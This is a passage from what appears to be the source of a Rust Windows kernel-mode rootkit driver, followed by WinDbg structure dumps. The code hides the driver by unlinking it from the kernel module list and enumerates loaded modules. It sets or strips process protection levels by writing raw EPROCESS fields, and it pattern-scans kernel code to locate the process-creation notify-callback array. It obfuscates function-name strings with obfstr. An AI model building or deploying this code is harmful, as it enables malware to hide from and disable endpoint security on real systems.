ptr_ke_raise_irql_to_dpc_level = get_function_base_address(unicode_function_name); 118 | 119 | if ptr_ke_raise_irql_to_dpc_level.is_null() { 120 | log::error!("KeRaiseIrqlToDpcLevel is null"); 121 | return Err("KeRaiseIrqlToDpcLevel is null"); 122 | } 123 | 124 | //KeLowerIrql 125 | let unicode_function_name = &mut create_unicode_string( 126 | obfstr::wide!("KeLowerIrql\0") 127 | ) as *mut UNICODE_STRING; 128 | 129 | let ptr_ke_lower_irql = get_function_base_address(unicode_function_name); 130 | 131 | if ptr_ke_lower_irql.is_null() { 132 | log::error!("KeLowerIrql is null"); 133 | return Err("KeLowerIrql is null"); 134 | } 135 | 136 | //KeGetCurrentIrql 137 | let unicode_function_name = &mut create_unicode_string( 138 | obfstr::wide!("KeGetCurrentIrql\0") 139 | ) as *mut UNICODE_STRING; 140 | 141 | let ptr_ke_get_current_irql = get_function_base_address(unicode_function_name); 142 | 143 | if ptr_ke_get_current_irql.is_null() { 144 | log::error!("KeGetCurrentIrql is null"); 145 | return Err("KeGetCurrentIrql is null"); 146 | } 147 | 148 | //Convert to function pointers 149 | #[allow(non_snake_case)] 150 | let KeGetCurrentIrql = unsafe { transmute::<_, FnKeGetCurrentIrql>(ptr_ke_get_current_irql) }; 151 | #[allow(non_snake_case)] 152 | let KeRaiseIrqlToDpcLevel = unsafe { transmute::<_, FnKeRaiseIrqlToDpcLevel>(ptr_ke_raise_irql_to_dpc_level) }; 153 | #[allow(non_snake_case)] 154 | let KeLowerIrql = unsafe { transmute::<_, FnKeLowerIrql>(ptr_ke_lower_irql) }; 155 | 156 | //The KeGetCurrentIrql routine returns the current IRQL. For information about IRQLs, see Managing Hardware Priorities. 157 | let current_irql = unsafe { KeGetCurrentIrql() }; 158 | log::info!("1st KeGetCurrentIrql: {:?}", current_irql); 159 | 160 | //The KeRaiseIrqlToDpcLevel routine raises the hardware priority to IRQL = DISPATCH_LEVEL, thereby masking off interrupts of equivalent or lower IRQL on the current processor. 161 | let irql = unsafe { KeRaiseIrqlToDpcLevel() }; 162 | log::info!("KeRaiseIrqlToDpcLevel: IRQL is {:?}", irql); 163 | 164 | if device_object.DriverObject.is_null() { 165 | log::info!("DriverObject is null"); 166 | return Err("DriverObject is null"); 167 | } 168 | 169 | let module_entry = unsafe { (*device_object.DriverObject).DriverSection as *mut LDR_DATA_TABLE_ENTRY }; 170 | 171 | 172 | let previous_entry = unsafe { (*module_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY }; 173 | let next_entry = unsafe { (*module_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; 174 | 175 | 176 | unsafe { (*previous_entry).InLoadOrderLinks.Flink = (*module_entry).InLoadOrderLinks.Flink }; 177 | unsafe { (*next_entry).InLoadOrderLinks.Blink = (*module_entry).InLoadOrderLinks.Blink }; 178 | 179 | unsafe { (*module_entry).InLoadOrderLinks.Flink = module_entry as *mut ntapi::winapi::shared::ntdef::LIST_ENTRY }; 180 | unsafe { (*module_entry).InLoadOrderLinks.Blink = module_entry as *mut ntapi::winapi::shared::ntdef::LIST_ENTRY }; 181 | 182 | 183 | //The KeLowerIrql routine restores the IRQL on the current processor to its original value. For information about IRQLs, see Managing Hardware Priorities. 184 | unsafe { KeLowerIrql(irql) }; 185 | log::info!("KeLowerIrql: IRQL is {:?}", irql); 186 | 187 | let current_irql = unsafe { KeGetCurrentIrql() }; 188 | log::info!("1st KeGetCurrentIrql: {:?}", current_irql); 189 | 190 | return Ok(true); 191 | } 192 | 193 | pub fn get_kernel_loaded_modules(module_information: *mut ModuleInformation, information: *mut usize) -> Result { 194 | //KeRaiseIrqlToDpcLevel 195 | let unicode_function_name = &mut create_unicode_string( 196 | obfstr::wide!("PsLoadedModuleList\0") 197 | ) as *mut UNICODE_STRING; 198 | 199 | let ptr_ps_loaded_module_list = get_function_base_address(unicode_function_name) as *mut LDR_DATA_TABLE_ENTRY; 200 | 201 | if ptr_ps_loaded_module_list.is_null() { 202 | log::error!("ptr_ps_loaded_module_list is null"); 203 | return Err("ptr_ps_loaded_module_list is null"); 204 | } 205 | 206 | log::info!("ptr_ps_loaded_module_list {:?}", ptr_ps_loaded_module_list); 207 | 208 | let current = ptr_ps_loaded_module_list as *mut LIST_ENTRY; 209 | let mut next = unsafe { (*ptr_ps_loaded_module_list).InLoadOrderLinks.Flink as *mut LIST_ENTRY }; 210 | 211 | let mut i = 0; 212 | 213 | // loop through the linked list 214 | while next as usize != current as usize { 215 | 216 | //Get module base and name 217 | let mod_base = unsafe { (*(next as *mut LDR_DATA_TABLE_ENTRY)).DllBase }; 218 | let mod_name = unsafe { (*(next as *mut LDR_DATA_TABLE_ENTRY)).BaseDllName }; 219 | let name_slice = unsafe { core::slice::from_raw_parts(mod_name.Buffer, mod_name.Length as usize / 2) } ; 220 | //log::info!("Module: {:?}", String::from_utf16_lossy(name_slice)); 221 | 222 | // Store the information in user buffer 223 | //Address 224 | unsafe { (*module_information.offset(i)).module_base = mod_base as usize }; 225 | 226 | //Name 227 | let dst = unsafe { (*module_information.offset(i)).module_name.as_mut() }; 228 | unsafe { copy_nonoverlapping(name_slice.as_ptr(), dst.as_mut_ptr(), name_slice.len()) }; 229 | 230 | 231 | i = i + 1; // increase i to keep track 232 | 233 | unsafe { (*information) += size_of::() }; 234 | 235 | // go to next module 236 | next = unsafe { (*next).Flink }; 237 | } 238 | 239 | return Ok(true); 240 | } 241 | 242 | /* 243 | 0: kd> dt _DRIVER_OBJECT 244 | nt!_DRIVER_OBJECT 245 | +0x000 Type : Int2B 246 | +0x002 Size : Int2B 247 | +0x008 DeviceObject : Ptr64 _DEVICE_OBJECT 248 | +0x010 Flags : Uint4B 249 | +0x018 DriverStart : Ptr64 Void 250 | +0x020 DriverSize : Uint4B 251 | +0x028 DriverSection : Ptr64 Void 252 | +0x030 DriverExtension : Ptr64 _DRIVER_EXTENSION 253 | +0x038 DriverName : _UNICODE_STRING 254 | +0x048 HardwareDatabase : Ptr64 _UNICODE_STRING 255 | +0x050 FastIoDispatch : Ptr64 _FAST_IO_DISPATCH 256 | +0x058 DriverInit : Ptr64 long 257 | +0x060 DriverStartIo : Ptr64 void 258 | +0x068 DriverUnload : Ptr64 void 259 | +0x070 MajorFunction : [28] Ptr64 long 260 | */ -------------------------------------------------------------------------------- /driver/src/process/memory.rs: -------------------------------------------------------------------------------- 1 | use winapi::{km::wdm::PEPROCESS, shared::ntdef::NT_SUCCESS, um::winnt::PACCESS_TOKEN}; 2 | 3 | use crate::includes::{PsLookupProcessByProcessId, ObfDereferenceObject, PsReferencePrimaryToken, PsDereferencePrimaryToken}; 4 | 5 | #[derive(Debug, Clone)] 6 | pub struct Process { 7 | pub eprocess: PEPROCESS, 8 | } 9 | 10 | impl Process { 11 | pub fn by_id(process_id: u64) -> Option { 12 | let mut process = core::ptr::null_mut(); 13 | 14 | let status = unsafe { PsLookupProcessByProcessId(process_id as _, &mut process) }; 15 | if NT_SUCCESS(status) { 16 | Some(Self { eprocess: process }) 17 | } else { 18 | None 19 | } 20 | } 21 | } 22 | 23 | impl Drop for Process { 24 | fn drop(&mut self) { 25 | if !self.eprocess.is_null() { 26 | unsafe { ObfDereferenceObject(self.eprocess as _) } 27 | } 28 | } 29 | } 30 | 31 | #[derive(Debug, Clone)] 32 | pub struct Token { 33 | pub token: PACCESS_TOKEN, 34 | } 35 | 36 | impl Token { 37 | pub fn by_token(eprocess: PEPROCESS) -> Option { 38 | 39 | let token = unsafe { PsReferencePrimaryToken(eprocess) }; 40 | if !token.is_null() { 41 | Some(Self { token }) 42 | } else { 43 | None 44 | } 45 | } 46 | } 47 | 48 | impl Drop for Token { 49 | fn drop(&mut self) { 50 | if !self.token.is_null() { 51 | unsafe { PsDereferencePrimaryToken(self.token) } 52 | } 53 | } 54 | } -------------------------------------------------------------------------------- /driver/src/process/mod.rs: -------------------------------------------------------------------------------- 1 | use common::TargetProcess; 2 | use winapi::shared::ntdef::{NTSTATUS, PVOID, UNICODE_STRING}; 3 | use winapi::shared::ntstatus::{STATUS_SUCCESS, STATUS_UNSUCCESSFUL}; 4 | use crate::includes::{ProcessProtectionInformation, MmGetSystemRoutineAddress, PSProtection}; 5 | use crate::string::create_unicode_string; 6 | 7 | use self::memory::Process; 8 | pub mod hide; 9 | pub mod memory; 10 | 11 | /// Add process protection 12 | pub fn protect_process(target_process: *mut TargetProcess) -> NTSTATUS { 13 | 14 | let process = match unsafe { Process::by_id((*target_process).process_id as u64) } { 15 | Some(p) => p, 16 | None => return STATUS_UNSUCCESSFUL, 17 | }; 18 | 19 | let signature_level_offset = get_eprocess_signature_level_offset(); 20 | let ps_protection = unsafe { process.eprocess.cast::().offset(signature_level_offset) as *mut ProcessProtectionInformation }; 21 | 22 | unsafe { 23 | (*ps_protection).signature_level = 0x3f; 24 | (*ps_protection).section_signature_level = 0x3f; 25 | (*ps_protection).protection = PSProtection::new().with_protection_type(2).with_protection_audit(0).with_protection_signer(6); 26 | } 27 | 28 | return STATUS_SUCCESS; 29 | } 30 | 31 | /// Remove process protection 32 | pub fn unprotect_process(target_process: *mut TargetProcess) -> NTSTATUS { 33 | 34 | let process = match unsafe { Process::by_id((*target_process).process_id as u64) } { 35 | Some(p) => p, 36 | None => return STATUS_UNSUCCESSFUL, 37 | }; 38 | 39 | 40 | let signature_level_offset = get_eprocess_signature_level_offset(); 41 | let ps_protection = unsafe { process.eprocess.cast::().offset(signature_level_offset) as *mut ProcessProtectionInformation }; 42 | 43 | unsafe { 44 | (*ps_protection).signature_level = 0; 45 | (*ps_protection).section_signature_level = 0; 46 | (*ps_protection).protection = PSProtection::new().with_protection_type(0).with_protection_audit(0).with_protection_signer(0); 47 | } 48 | 49 | 50 | return STATUS_SUCCESS; 51 | } 52 | 53 | /// Gets ta pointer to a function from ntoskrnl exports 54 | fn get_ntoskrnl_exports(function_name: *mut UNICODE_STRING) -> PVOID { 55 | //The MmGetSystemRoutineAddress routine returns a pointer to a function specified by SystemRoutineName. 56 | return unsafe { MmGetSystemRoutineAddress(function_name) }; 57 | } 58 | 59 | // Gets function base address 60 | pub fn get_function_base_address(function_name: *mut UNICODE_STRING) -> PVOID { 61 | let base = get_ntoskrnl_exports(function_name); 62 | return base; 63 | } 64 | 65 | /// Get EPROCESS.Protection offset dynamically 66 | #[allow(dead_code)] 67 | pub fn get_eprocess_protection_offset() -> isize { 68 | let unicode_function_name = &mut create_unicode_string( 69 | obfstr::wide!("PsIsProtectedProcess\0") 70 | ) as *mut UNICODE_STRING; 71 | 72 | let base_address = get_function_base_address(unicode_function_name); 73 | let function_bytes: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 5) }; 74 | 75 | let slice = &function_bytes[2..4]; 76 | let protection_offset = u16::from_le_bytes(slice.try_into().unwrap()); 77 | log::info!("EPROCESS.Protection: {:#x}", protection_offset); 78 | 79 | return protection_offset as isize; 80 | } 81 | 82 | /// Get EPROCESS.SignatureLevel offset dynamically 83 | pub fn get_eprocess_signature_level_offset() -> isize { 84 | let unicode_function_name = &mut create_unicode_string( 85 | obfstr::wide!("PsGetProcessSignatureLevel\0") 86 | ) as *mut UNICODE_STRING; 87 | 88 | let base_address = get_function_base_address(unicode_function_name); 89 | let function_bytes: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 20) }; 90 | 91 | let slice = &function_bytes[15..17]; 92 | let signature_level_offset = u16::from_le_bytes(slice.try_into().unwrap()); 93 | log::info!("EPROCESS.SignatureLevel: {:#x}", signature_level_offset); 94 | 95 | return signature_level_offset as isize; 96 | } 97 | 98 | pub fn find_psp_set_create_process_notify() -> Option<*const u8> { 99 | let unicode_function_name = &mut create_unicode_string( 100 | obfstr::wide!("PsSetCreateProcessNotifyRoutine\0") 101 | ) as *mut UNICODE_STRING; 102 | 103 | let base_address = get_function_base_address(unicode_function_name); 104 | 105 | if base_address.is_null() { 106 | log::error!("PsSetCreateProcessNotifyRoutine is null"); 107 | return None; 108 | } 109 | 110 | let func_slice: &[u8] = unsafe { 111 | core::slice::from_raw_parts(base_address as *const u8, 0x14) //call nt!PspSetCreateProcessNotifyRoutine (
) 112 | }; 113 | 114 | // OS version dependent 115 | const OPCODE_CALL: u8 = 0xE8; //CALL 116 | const OPCODE_JMP: u8 = 0xE9; //JMP 117 | 118 | // Search for the jump or call instruction inside PsSetCreateProcessNotifyRoutine 119 | if let Some(i) = func_slice.iter().position(|x| *x == OPCODE_CALL || *x == OPCODE_JMP) { 120 | 121 | let position = i + 1; // 1 byte after jmp/call 122 | let offset_slice = &func_slice[position..position + 2]; //u16::from_le_bytes takes 2 slices 123 | let offset = u16::from_le_bytes(offset_slice.try_into().unwrap()); 124 | let new_base = unsafe { base_address.cast::().offset(0xd) }; // +0xd is call nt!PspSetCreateProcessNotifyRoutine 125 | let new_offset = offset + 0x5; // offset + 5: because i is a the start of call and not the end 126 | let psp_set_create_process_notify = unsafe { new_base.cast::().offset(new_offset as isize) as *const u8 }; 127 | 128 | // Search for the lea r13 PspSetCreateProcessNotifyRoutine 129 | 130 | let psp_func_slice: &[u8] = unsafe { 131 | core::slice::from_raw_parts(psp_set_create_process_notify, 0x70) //lea r13,[nt!PspCreateProcessNotifyRoutine (
)] 132 | }; 133 | 134 | let needle = [0x4c, 0x8D]; //lea r13, 135 | 136 | if let Some(y) = psp_func_slice.windows(needle.len()).position(|x| *x == needle) { 137 | 138 | let position = y + 3; // 3 byte after lea r13, is the offset 139 | let offset_slice = &psp_func_slice[position..position + 4]; //u32::from_le_bytes takes 4 slices 140 | let offset = u32::from_le_bytes(offset_slice.try_into().unwrap()); 141 | let new_base = unsafe { psp_set_create_process_notify.cast::().offset(0x62) }; // +0x62 is lea r13,[nt!PspCreateProcessNotifyRoutine (
)] 142 | let new_offset = offset + 0x7; // offset + 6: because i is a the start of lea and not the end 143 | let psp_set_create_process_notify_array = unsafe { new_base.cast::().offset(new_offset as isize) }; 144 | 145 | return Some(psp_set_create_process_notify_array); 146 | } 147 | } 148 | 149 | return None; 150 | } 151 | 152 | /* 153 | 154 | 0: kd> u PsIsProtectedProcess 155 | nt!PsIsProtectedProcess: 156 | fffff807`0d87c730 f6817a08000007 test byte ptr [rcx+87Ah],7 157 | fffff807`0d87c737 b800000000 mov eax,0 158 | fffff807`0d87c73c 0f97c0 seta al 159 | fffff807`0d87c73f c3 ret 160 | fffff807`0d87c740 cc int 3 161 | fffff807`0d87c741 cc int 3 162 | fffff807`0d87c742 cc int 3 163 | fffff807`0d87c743 cc int 3 164 | 165 | 0: kd> u PsGetProcessSignatureLevel 166 | nt!PsGetProcessSignatureLevel: 167 | fffff807`0d992dd0 4885d2 test rdx,rdx 168 | fffff807`0d992dd3 7408 je nt!PsGetProcessSignatureLevel+0xd (fffff807`0d992ddd) 169 | fffff807`0d992dd5 8a8179080000 mov al,byte ptr [rcx+879h] 170 | fffff807`0d992ddb 8802 mov byte ptr [rdx],al 171 | fffff807`0d992ddd 8a8178080000 mov al,byte ptr [rcx+878h] 172 | fffff807`0d992de3 c3 ret 173 | fffff807`0d992de4 cc int 3 174 | fffff807`0d992de5 cc int 3 175 | 176 | nt!_EPROCESS 177 | +0x878 SignatureLevel : UChar 178 | +0x879 SectionSignatureLevel : UChar 179 | +0x87a Protection : _PS_PROTECTION 180 | 181 | */ 182 | 183 | /* 184 | 0: kd> dt nt!_EPROCESS 185 | +0x000 Pcb : _KPROCESS 186 | +0x438 ProcessLock : _EX_PUSH_LOCK 187 | +0x440 UniqueProcessId : Ptr64 Void 188 | +0x448 ActiveProcessLinks : _LIST_ENTRY 189 | +0x458 RundownProtect : _EX_RUNDOWN_REF 190 | +0x460 Flags2 : Uint4B 191 | +0x460 JobNotReallyActive : Pos 0, 1 Bit 192 | +0x460 AccountingFolded : Pos 1, 1 Bit 193 | +0x460 NewProcessReported : Pos 2, 1 Bit 194 | +0x460 ExitProcessReported : Pos 3, 1 Bit 195 | +0x460 ReportCommitChanges : Pos 4, 1 Bit 196 | +0x460 LastReportMemory : Pos 5, 1 Bit 197 | +0x460 ForceWakeCharge : Pos 6, 1 Bit 198 | +0x460 CrossSessionCreate : Pos 7, 1 Bit 199 | +0x460 NeedsHandleRundown : Pos 8, 1 Bit 200 | +0x460 RefTraceEnabled : Pos 9, 1 Bit 201 | +0x460 PicoCreated : Pos 10, 1 Bit 202 | +0x460 EmptyJobEvaluated : Pos 11, 1 Bit 203 | +0x460 DefaultPagePriority : Pos 12, 3 Bits 204 | +0x460 PrimaryTokenFrozen : Pos 15, 1 Bit 205 | +0x460 ProcessVerifierTarget : Pos 16, 1 Bit 206 | +0x460 RestrictSetThreadContext : Pos 17, 1 Bit 207 | +0x460 AffinityPermanent : Pos 18, 1 Bit 208 | +0x460 AffinityUpdateEnable : Pos 19, 1 Bit 209 | +0x460 PropagateNode : Pos 20, 1 Bit 210 | +0x460 ExplicitAffinity : Pos 21, 1 Bit 211 | +0x460 ProcessExecutionState : Pos 22, 2 Bits 212 | +0x460 EnableReadVmLogging : Pos 24, 1 Bit 213 | +0x460 EnableWriteVmLogging : Pos 25, 1 Bit 214 | +0x460 FatalAccessTerminationRequested : Pos 26, 1 Bit 215 | +0x460 DisableSystemAllowedCpuSet : Pos 27, 1 Bit 216 | +0x460 ProcessStateChangeRequest : Pos 28, 2 Bits 217 | +0x460 ProcessStateChangeInProgress : Pos 30, 1 Bit 218 | +0x460 InPrivate : Pos 31, 1 Bit 219 | +0x464 Flags : Uint4B 220 | +0x464 CreateReported : Pos 0, 1 Bit 221 | +0x464 NoDebugInherit : Pos 1, 1 Bit 222 | +0x464 ProcessExiting : Pos 2, 1 Bit 223 | +0x464 ProcessDelete : Pos 3, 1 Bit 224 | +0x464 ManageExecutableMemoryWrites : Pos 4, 1 Bit 225 | +0x464 VmDeleted : Pos 5, 1 Bit 226 | +0x464 OutswapEnabled : Pos 6, 1 Bit 227 | +0x464 Outswapped : Pos 7, 1 Bit 228 | +0x464 FailFastOnCommitFail : Pos 8, 1 Bit 229 | +0x464 Wow64VaSpace4Gb : Pos 9, 1 Bit 230 | +0x464 AddressSpaceInitialized : Pos 10, 2 Bits 231 | +0x464 SetTimerResolution : Pos 12, 1 Bit 232 | +0x464 BreakOnTermination : Pos 13, 1 Bit 233 | +0x464 DeprioritizeViews : Pos 14, 1 Bit 234 | +0x464 WriteWatch : Pos 15, 1 Bit 235 | +0x464 ProcessInSession : Pos 16, 1 Bit 236 | +0x464 OverrideAddressSpace : Pos 17, 1 Bit 237 | +0x464 HasAddressSpace : Pos 18, 1 Bit 238 | +0x464 LaunchPrefetched : Pos 19, 1 Bit 239 | +0x464 Background : Pos 20, 1 Bit 240 | +0x464 VmTopDown : Pos 21, 1 Bit 241 | +0x464 ImageNotifyDone : Pos 22, 1 Bit 242 | +0x464 PdeUpdateNeeded : Pos 23, 1 Bit 243 | +0x464 VdmAllowed : Pos 24, 1 Bit 244 | +0x464 ProcessRundown : Pos 25, 1 Bit 245 | +0x464 ProcessInserted : Pos 26, 1 Bit 246 | +0x464 DefaultIoPriority : Pos 27, 3 Bits 247 | +0x464 ProcessSelfDelete : Pos 30, 1 Bit 248 | +0x464 SetTimerResolutionLink : Pos 31, 1 Bit 249 | +0x468 CreateTime : _LARGE_INTEGER 250 | +0x470 ProcessQuotaUsage : [2] Uint8B 251 | +0x480 ProcessQuotaPeak : [2] Uint8B 252 | +0x490 PeakVirtualSize : Uint8B 253 | +0x498 VirtualSize : Uint8B 254 | +0x4a0 SessionProcessLinks : _LIST_ENTRY 255 | +0x4b0 ExceptionPortData : Ptr64 Void 256 | +0x4b0 ExceptionPortValue : Uint8B 257 | +0x4b0 ExceptionPortState : Pos 0, 3 Bits 258 | +0x4b8 Token : _EX_FAST_REF 259 | +0x4c0 MmReserved : Uint8B 260 | +0x4c8 AddressCreationLock : _EX_PUSH_LOCK 261 | +0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK 262 | +0x4d8 RotateInProgress : Ptr64 _ETHREAD 263 | +0x4e0 ForkInProgress : Ptr64 _ETHREAD 264 | +0x4e8 CommitChargeJob : Ptr64 _EJOB 265 | +0x4f0 CloneRoot : _RTL_AVL_TREE 266 | +0x4f8 NumberOfPrivatePages : Uint8B 267 | +0x500 NumberOfLockedPages : Uint8B 268 | +0x508 Win32Process : Ptr64 Void 269 | +0x510 Job : Ptr64 _EJOB 270 | +0x518 SectionObject : Ptr64 Void 271 | +0x520 SectionBaseAddress : Ptr64 Void 272 | +0x528 Cookie : Uint4B 273 | +0x530 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY 274 | +0x538 Win32WindowStation : Ptr64 Void 275 | +0x540 InheritedFromUniqueProcessId : Ptr64 Void 276 | +0x548 OwnerProcessId : Uint8B 277 | +0x550 Peb : Ptr64 _PEB 278 | +0x558 Session : Ptr64 _MM_SESSION_SPACE 279 | +0x560 Spare1 : Ptr64 Void 280 | +0x568 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK 281 | +0x570 ObjectTable : Ptr64 _HANDLE_TABLE 282 | +0x578 DebugPort : Ptr64 Void 283 | +0x580 WoW64Process : Ptr64 _EWOW64PROCESS 284 | +0x588 DeviceMap : Ptr64 Void 285 | +0x590 EtwDataSource : Ptr64 Void 286 | +0x598 PageDirectoryPte : Uint8B 287 | +0x5a0 ImageFilePointer : Ptr64 _FILE_OBJECT 288 | +0x5a8 ImageFileName : [15] UChar 289 | +0x5b7 PriorityClass : UChar 290 | +0x5b8 SecurityPort : Ptr64 Void 291 | +0x5c0 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO 292 | +0x5c8 JobLinks : _LIST_ENTRY 293 | +0x5d8 HighestUserAddress : Ptr64 Void 294 | +0x5e0 ThreadListHead : _LIST_ENTRY 295 | +0x5f0 ActiveThreads : Uint4B 296 | +0x5f4 ImagePathHash : Uint4B 297 | +0x5f8 DefaultHardErrorProcessing : Uint4B 298 | +0x5fc LastThreadExitStatus : Int4B 299 | +0x600 PrefetchTrace : _EX_FAST_REF 300 | +0x608 LockedPagesList : Ptr64 Void 301 | +0x610 ReadOperationCount : _LARGE_INTEGER 302 | +0x618 WriteOperationCount : _LARGE_INTEGER 303 | +0x620 OtherOperationCount : _LARGE_INTEGER 304 | +0x628 ReadTransferCount : _LARGE_INTEGER 305 | +0x630 WriteTransferCount : _LARGE_INTEGER 306 | +0x638 OtherTransferCount : _LARGE_INTEGER 307 | +0x640 CommitChargeLimit : Uint8B 308 | +0x648 CommitCharge : Uint8B 309 | +0x650 CommitChargePeak : Uint8B 310 | +0x680 Vm : _MMSUPPORT_FULL 311 | +0x7c0 MmProcessLinks : _LIST_ENTRY 312 | +0x7d0 ModifiedPageCount : Uint4B 313 | +0x7d4 ExitStatus : Int4B 314 | +0x7d8 VadRoot : _RTL_AVL_TREE 315 | +0x7e0 VadHint : Ptr64 Void 316 | +0x7e8 VadCount : Uint8B 317 | +0x7f0 VadPhysicalPages : Uint8B 318 | +0x7f8 VadPhysicalPagesLimit : Uint8B 319 | +0x800 AlpcContext : _ALPC_PROCESS_CONTEXT 320 | +0x820 TimerResolutionLink : _LIST_ENTRY 321 | +0x830 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD 322 | +0x838 RequestedTimerResolution : Uint4B 323 | +0x83c SmallestTimerResolution : Uint4B 324 | +0x840 ExitTime : _LARGE_INTEGER 325 | +0x848 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE 326 | +0x850 InvertedFunctionTableLock : _EX_PUSH_LOCK 327 | +0x858 ActiveThreadsHighWatermark : Uint4B 328 | +0x85c LargePrivateVadCount : Uint4B 329 | +0x860 ThreadListLock : _EX_PUSH_LOCK 330 | +0x868 WnfContext : Ptr64 Void 331 | +0x870 ServerSilo : Ptr64 _EJOB 332 | +0x878 SignatureLevel : UChar 333 | +0x879 SectionSignatureLevel : UChar 334 | +0x87a Protection : _PS_PROTECTION 335 | +0x87b HangCount : Pos 0, 3 Bits 336 | +0x87b GhostCount : Pos 3, 3 Bits 337 | +0x87b PrefilterException : Pos 6, 1 Bit 338 | +0x87c Flags3 : Uint4B 339 | +0x87c Minimal : Pos 0, 1 Bit 340 | +0x87c ReplacingPageRoot : Pos 1, 1 Bit 341 | +0x87c Crashed : Pos 2, 1 Bit 342 | +0x87c JobVadsAreTracked : Pos 3, 1 Bit 343 | +0x87c VadTrackingDisabled : Pos 4, 1 Bit 344 | +0x87c AuxiliaryProcess : Pos 5, 1 Bit 345 | +0x87c SubsystemProcess : Pos 6, 1 Bit 346 | +0x87c IndirectCpuSets : Pos 7, 1 Bit 347 | +0x87c RelinquishedCommit : Pos 8, 1 Bit 348 | +0x87c HighGraphicsPriority : Pos 9, 1 Bit 349 | +0x87c CommitFailLogged : Pos 10, 1 Bit 350 | +0x87c ReserveFailLogged : Pos 11, 1 Bit 351 | +0x87c SystemProcess : Pos 12, 1 Bit 352 | +0x87c HideImageBaseAddresses : Pos 13, 1 Bit 353 | +0x87c AddressPolicyFrozen : Pos 14, 1 Bit 354 | +0x87c ProcessFirstResume : Pos 15, 1 Bit 355 | +0x87c ForegroundExternal : Pos 16, 1 Bit 356 | +0x87c ForegroundSystem : Pos 17, 1 Bit 357 | +0x87c HighMemoryPriority : Pos 18, 1 Bit 358 | +0x87c EnableProcessSuspendResumeLogging : Pos 19, 1 Bit 359 | +0x87c EnableThreadSuspendResumeLogging : Pos 20, 1 Bit 360 | +0x87c SecurityDomainChanged : Pos 21, 1 Bit 361 | +0x87c SecurityFreezeComplete : Pos 22, 1 Bit 362 | +0x87c VmProcessorHost : Pos 23, 1 Bit 363 | +0x87c VmProcessorHostTransition : Pos 24, 1 Bit 364 | +0x87c AltSyscall : Pos 25, 1 Bit 365 | +0x87c TimerResolutionIgnore : Pos 26, 1 Bit 366 | +0x87c DisallowUserTerminate : Pos 27, 1 Bit 367 | +0x880 DeviceAsid : Int4B 368 | +0x888 SvmData : Ptr64 Void 369 | +0x890 SvmProcessLock : _EX_PUSH_LOCK 370 | +0x898 SvmLock : Uint8B 371 | +0x8a0 SvmProcessDeviceListHead : _LIST_ENTRY 372 | +0x8b0 LastFreezeInterruptTime : Uint8B 373 | +0x8b8 DiskCounters : Ptr64 _PROCESS_DISK_COUNTERS 374 | +0x8c0 PicoContext : Ptr64 Void 375 | +0x8c8 EnclaveTable : Ptr64 Void 376 | +0x8d0 EnclaveNumber : Uint8B 377 | +0x8d8 EnclaveLock : _EX_PUSH_LOCK 378 | +0x8e0 HighPriorityFaultsAllowed : Uint4B 379 | +0x8e8 EnergyContext : Ptr64 _PO_PROCESS_ENERGY_CONTEXT 380 | +0x8f0 VmContext : Ptr64 Void 381 | +0x8f8 SequenceNumber : Uint8B 382 | +0x900 CreateInterruptTime : Uint8B 383 | +0x908 CreateUnbiasedInterruptTime : Uint8B 384 | +0x910 TotalUnbiasedFrozenTime : Uint8B 385 | +0x918 LastAppStateUpdateTime : Uint8B 386 | +0x920 LastAppStateUptime : Pos 0, 61 Bits 387 | +0x920 LastAppState : Pos 61, 3 Bits 388 | +0x928 SharedCommitCharge : Uint8B 389 | +0x930 SharedCommitLock : _EX_PUSH_LOCK 390 | +0x938 SharedCommitLinks : _LIST_ENTRY 391 | +0x948 AllowedCpuSets : Uint8B 392 | +0x950 DefaultCpuSets : Uint8B 393 | +0x948 AllowedCpuSetsIndirect : Ptr64 Uint8B 394 | +0x950 DefaultCpuSetsIndirect : Ptr64 Uint8B 395 | +0x958 DiskIoAttribution : Ptr64 Void 396 | +0x960 DxgProcess : Ptr64 Void 397 | +0x968 Win32KFilterSet : Uint4B 398 | +0x970 ProcessTimerDelay : _PS_INTERLOCKED_TIMER_DELAY_VALUES 399 | +0x978 KTimerSets : Uint4B 400 | +0x97c KTimer2Sets : Uint4B 401 | +0x980 ThreadTimerSets : Uint4B 402 | +0x988 VirtualTimerListLock : Uint8B 403 | +0x990 VirtualTimerListHead : _LIST_ENTRY 404 | +0x9a0 WakeChannel : _WNF_STATE_NAME 405 | +0x9a0 WakeInfo : _PS_PROCESS_WAKE_INFORMATION 406 | +0x9d0 MitigationFlags : Uint4B 407 | +0x9d0 MitigationFlagsValues : 408 | +0x9d4 MitigationFlags2 : Uint4B 409 | +0x9d4 MitigationFlags2Values : 410 | +0x9d8 PartitionObject : Ptr64 Void 411 | +0x9e0 SecurityDomain : Uint8B 412 | +0x9e8 ParentSecurityDomain : Uint8B 413 | +0x9f0 CoverageSamplerContext : Ptr64 Void 414 | +0x9f8 MmHotPatchContext : Ptr64 Void 415 | +0xa00 DynamicEHContinuationTargetsTree : _RTL_AVL_TREE 416 | +0xa08 DynamicEHContinuationTargetsLock : _EX_PUSH_LOCK 417 | +0xa10 DynamicEnforcedCetCompatibleRanges : _PS_DYNAMIC_ENFORCED_ADDRESS_RANGES 418 | +0xa20 DisabledComponentFlags : Uint4B 419 | +0xa28 PathRedirectionHashes : Ptr64 Uint4B 420 | 421 | 422 | 0: kd> dt nt!_TOKEN 423 | +0x000 TokenSource : _TOKEN_SOURCE 424 | +0x010 TokenId : _LUID 425 | +0x018 AuthenticationId : _LUID 426 | +0x020 ParentTokenId : _LUID 427 | +0x028 ExpirationTime : _LARGE_INTEGER 428 | +0x030 TokenLock : Ptr64 _ERESOURCE 429 | +0x038 ModifiedId : _LUID 430 | +0x040 Privileges : _SEP_TOKEN_PRIVILEGES 431 | +0x058 AuditPolicy : _SEP_AUDIT_POLICY 432 | +0x078 SessionId : Uint4B 433 | +0x07c UserAndGroupCount : Uint4B 434 | +0x080 RestrictedSidCount : Uint4B 435 | +0x084 VariableLength : Uint4B 436 | +0x088 DynamicCharged : Uint4B 437 | +0x08c 